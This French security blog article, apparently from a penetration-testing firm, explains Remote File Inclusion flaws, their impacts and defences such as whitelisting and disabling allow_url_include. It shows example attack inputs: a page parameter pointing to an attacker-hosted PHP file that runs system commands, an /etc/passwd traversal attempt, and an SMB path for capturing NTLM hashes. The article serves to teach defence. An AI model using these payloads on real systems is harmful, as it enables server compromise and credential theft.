Les failles de sécurité constituent un risque majeur pour les applications web modernes, exposant potentiellement les données sensibles des utilisateurs et les infrastructures des entreprises à des attaques malveillantes.
Parmi les vulnérabilités les plus redoutées se trouve l’inclusion de fichiers distants, plus communément appelée Remote File Inclusion (RFI). Cette technique d’attaque permet à un attaquant d’injecter et d’exécuter du code arbitraire hébergé sur un serveur distant.
L’inclusion de fichiers distants se distingue par sa simplicité d’exploitation et par les impacts potentiels qu’elle peut générer. Dans un environnement où la sécurité des applications web est une priorité, comprendre les mécanismes de cette faille devient essentiel pour toute équipe de sécurité.
Cet article se propose de détailler les principes fondamentaux d’une faille RFI, d’explorer ses impacts potentiels et de présenter des scénarios d’exploitation réels tirés d’expériences de nos pentests. De plus, nous aborderons les bonnes pratiques à mettre en place pour prévenir de telles vulnérabilités.
Qu’est-ce qu’une faille RFI (Remote File Inclusion) ?
Principes d’une Remote File Inclusion
Les failles de type Remote File Inclusion (RFI) se produisent lorsque l’application permet à un utilisateur malveillant d’inclure des fichiers à partir d’un serveur distant dans le code exécuté par le serveur web de la victime.
En exploitant une RFI, un attaquant peut potentiellement exécuter du code malveillant sur le serveur cible, compromettant ainsi l’intégrité, la confidentialité, et la disponibilité de l’application ainsi que des données qu’elle traite.
Une faille RFI survient principalement dans les applications web qui acceptent des entrées utilisateur pour déterminer quel fichier inclure dans une page. Si ces entrées ne sont pas correctement filtrées ou validées, un attaquant peut manipuler l’entrée pour pointer vers un fichier hébergé sur un serveur sous son contrôle. Ce fichier distant, souvent écrit en langage de script comme PHP, peut alors contenir du code malveillant qui sera exécuté par le serveur de l’application vulnérable.
Distinction entre LFI (Local File Inclusion) et RFI (Remote File Inclusion)
Une Local File Inclusion (LFI) se produit lorsque l’application permet l’inclusion de fichiers locaux, c’est-à-dire des fichiers qui résident sur le serveur lui-même.
Bien que les deux types de failles puissent être dangereuses, une RFI est généralement plus sévère car elle permet l’exécution de fichiers externes, souvent contrôlés par l’attaquant, ce qui ouvre la porte à un large éventail de vecteurs d’attaque.
De plus, une RFI est souvent plus facile à exploiter à distance, ce qui augmente les risques pour les applications exposées à Internet.
Pour en savoir plus sur les LFI, nous vous renvoyons vers notre article : Exploitation d’une faille LFI (Local File Inclusion) et bonnes pratiques sécurité.
Impacts d’une RFI
Les impacts d’une faille RFI peuvent être important pour une application web et son infrastructure sous-jacente. En injectant du code malveillant, un attaquant peut :
- Installer des malwares : un fichier distant malveillant peut contenir du code conçu pour télécharger et installer des logiciels malveillants sur le serveur victime. Ces malwares peuvent alors être utilisés pour espionner les activités du serveur, voler des données sensibles, ou même se propager à d’autres systèmes connectés.
- Prendre le contrôle du serveur distant : en obtenant un accès à l’exécution de code sur le serveur, un attaquant peut élever ses privilèges pour prendre le contrôle total du serveur, ce qui permet des actions telles que la suppression de fichiers, la modification de configurations, ou l’utilisation du serveur pour lancer d’autres attaques.
- Exfiltrer des données : suite à la prise de contrôle, l’attaquant peut accéder aux bases de données et aux systèmes de fichiers; exfiltrant ainsi des informations sensibles comme des identifiants utilisateurs.
- Altérer le contenu du site web : en modifiant les fichiers inclus, un attaquant peut injecter des contenus malveillants ou frauduleux sur les pages du site web, affectant ainsi la crédibilité de l’organisation et exposant les visiteurs à des risques.
Exemples d’exploitations de failles RFI sur des applications web
Exploitation d’une RFI dans une application PHP
Nous allons revenir sur une situation classique rencontrée lors d’un test d’intrusion en boîte noire sur une application web développée en PHP.
L’application en question permet de charger dynamiquement des pages en fonction des paramètres fournis dans l’URL. Cette fonctionnalité peut être exploitée si les entrées ne sont pas correctement validées, menant à une inclusion de fichier distant – RFI.
Prenons un exemple où l’URL de l’application ressemble à ceci :
https://pentest.vaadata.com/index.php?page=homeIci, le paramètre « page » est utilisé pour inclure des fichiers PHP correspondant à différentes sections du site web.
Par exemple, page=home va inclure le fichier « home.php », et page=admin va inclure le fichier « admin.php ».
En observant le comportement de l’application, un attaquant peut tester différents types de valeurs pour le paramètre page afin de voir si des fichiers arbitraires peuvent être inclus.
Cela peut inclure des valeurs comme :
https://pentest.vaadata.com/index.php?page=../ect/passwdDans ce cas, l’attaque ne fonctionnera pas car le serveur va ajouter l’extension “.php” à la valeur du paramètre page, ce qui donnera : ../etc/passwd.php.
Cependant, pour une attaque RFI, l’objectif est de faire inclure un fichier distant contrôlé par l’attaquant. Supposons que l’attaquant ait un fichier PHP malveillant hébergé sur un serveur sous son contrôle, par exemple :
https://attacker.com/evil_vaadata.phpIl pourrait essayer de passer cette URL dans le paramètre page comme suit :
https://pentest.vaadata.com/index.php?page=https://attacker.com/evil_vaadata
Le fichier « evil_vaadata.php » sur le serveur de l’attaquant pourrait contenir un code qui exécuterait des commandes systèmes, comme :
<?php
system('id && hostname');
?>Ainsi, lorsque ce fichier sera inclus dans la page, le serveur exécutera les commandes systèmes et l’accès au serveur sera compromis.
Exploitation d’une RFI pour récupérer le hash NTLM sur un serveur Windows
Dans ce scénario, nous examinerons une situation où l’application web vulnérable fonctionne sur un serveur Windows.
Ici, l’objectif de l’attaquant est d’exploiter une faille RFI pour récupérer le hash NTLM du compte sous lequel l’application web s’exécute.
Ce type d’attaque peut permettre à l’attaquant de récupérer des informations sensibles sur les comptes Windows utilisés sur le serveur.
Imaginons une application web qui, comme dans le premier scénario, inclut dynamiquement des fichiers en fonction des paramètres fournis dans l’URL.
https://pentest.vaadata.com/index.php?page=homeCette application est vulnérable à une inclusion de fichier distant (RFI). Cependant, plutôt que d’inclure un fichier malveillant pour exécuter du code, l’attaquant veut obtenir des informations réseau sensibles, comme le hash NTLM du serveur.
Sur un serveur Windows, une façon d’exploiter une RFI consiste à utiliser la syntaxe « \\IP\ » pour tenter d’accéder à un fichier situé sur un partage SMB distant. En faisant cela, le serveur Windows va essayer de s’authentifier auprès de ce partage distant, envoyant son hash NTLM au serveur contrôlé par l’attaquant.
https://pentest.vaadata.com/index.php?page=\\192.168.1.100\share\maliciousAinsi, l’attaquant va recevoir cette authentification NTML et pourra essayer des attaques par brute force pour casser ce hash. Plus généralement, dans un réseau interne, des attaques par relai peuvent être effectué afin de s’authentifier avec le hash NTLM de la machine sans pour autant l’avoir cassé au préalable.
Bonnes pratiques sécurité pour prévenir les failles RFI
Valider les entrées utilisateurs
La validation des entrées utilisateurs est essentielle pour protéger les applications web contre les attaques RFI.
Les paramètres transmis par les utilisateurs, comme ceux présents dans les URL ou les formulaires, doivent être strictement contrôlés avant d’être utilisés pour inclure des fichiers.
L’une des méthodes les plus efficaces est l’utilisation de listes blanches, qui limitent les valeurs acceptables à un ensemble prédéfini de choix sûrs. Par exemple, si l’application permet de charger des pages spécifiques comme « home.php » ou « admin.php », seule une correspondance avec ces noms doit être autorisée.
En complément, il est crucial de valider les formats de données pour s’assurer qu’ils suivent un schéma attendu, en rejetant toute entrée contenant des caractères spéciaux ou des chemins qui pourraient être dangereux. Enfin, les caractères qui pourraient être utilisés pour manipuler des chemins de fichiers, tels que « ../ » ou « :// », doivent être échappés ou filtrés pour empêcher les tentatives d’inclusion non désirées.
Configuration sécurisée des serveurs web
La configuration des serveurs web joue un rôle clé dans la prévention des RFI. Il est recommandé de désactiver l’inclusion de fichiers distants en configurant l’option « allow_url_include » à « Off » dans le fichier « php.ini » pour les environnements PHP. Cela empêche toute tentative d’inclure un fichier à partir d’une URL distante.
De même, l’option « allow_url_fopen », qui permet à des fonctions PHP comme « fopen » de traiter les URL comme des fichiers locaux, doit être désactivée si elle n’est pas absolument nécessaire.
Mise à jour des systèmes
La gestion des mises à jour est cruciale pour maintenir la sécurité des applications web. De nombreuses vulnérabilités exploitées par des attaques RFI sont dues à des systèmes ou des logiciels non mis à jour. Il est impératif de maintenir l’application web et toutes ses dépendances à jour avec les derniers correctifs de sécurité.
Tests d’intrusion réguliers
Les tests d’intrusion réguliers sont essentiels pour identifier et corriger les vulnérabilités potentielles avant qu’elles ne soient exploitées.
Auteur : Renaud CAYOL – Pentester @Vaadata